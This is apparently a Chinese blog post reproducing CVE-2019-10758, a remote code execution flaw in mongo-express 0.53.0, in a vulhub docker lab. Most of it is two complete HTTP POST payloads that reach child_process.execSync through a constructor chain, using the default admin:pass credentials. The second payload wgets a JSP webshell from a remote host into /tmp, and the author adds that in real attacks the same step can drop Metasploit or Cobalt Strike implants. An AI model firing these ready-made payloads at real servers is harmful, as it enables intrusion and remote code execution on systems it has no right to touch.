CVE-2019-10758-Mongo-express-远程代码执行

漏洞分析

https://xz.aliyun.com/t/7056

漏洞简介

mongo-express是一款mongodb的第三方Web界面,使用node和express开发。

如果攻击者可以成功登录,或者目标服务器没有修改默认的账号密码(admin:pass),则可以执行任意node.js代码。

 

影响版本

mongo-express 0.53.0

 

前提条件

1.知道Mongo的账号密码,或者未授权

 

特殊情况

由于poc中,用docker拉的mongodb默认是未授权的形式,所以不需要-u&-p来指定数据库的账号密码。但是实际环境中mongodb不太可能是未授权,所以我觉得以cli+参数启动服务的场景应该算是多见吧。

那么如果受害者指定了用户名&密码去启动express-mongo,那么攻击者直接未授权就可以打(即不需要指定authoriza header)

 

环境搭建

https://github.com/vulhub/vulhub/tree/master/mongo-express/CVE-2019-10758

环境启动后,访问http://your-ip:8081即可查看到Web页面。

复现环境

mongo-express 0.53.0

MongoDB Version  3.4.24

 

直接构造poc发送即可

 

 就会在 /tmp目录下生成success

POST /checkValid HTTP/1.1
Host: 目标ip
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Authorization: Basic YWRtaW46cGFzcw==
Content-Type: application/x-www-form-urlencoded
Content-Length: 124

document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("touch /tmp/success")

进入docker环境里查看 /tmp目录

 

 -----------------------------------------------------------------

测试反弹shell不成功

 

 那么来测试远程下载

 

 远程下载实战中可以下载到绝对路径,或者下载msf/cs马到/tmp目录上线

POST /checkValid HTTP/1.1
Host: 目标ip
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Authorization: Basic YWRtaW46cGFzcw==
Content-Type: application/x-www-form-urlencoded
Content-Length: 161

document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("wget http://目标文件/JspSpy.jsp.txt -O /tmp/5.jsp")

查询 /tmp目录下是否下载5.jsp

posted @ 2020-04-20 20:42  Null1433  阅读(1432)  评论(0编辑  收藏  举报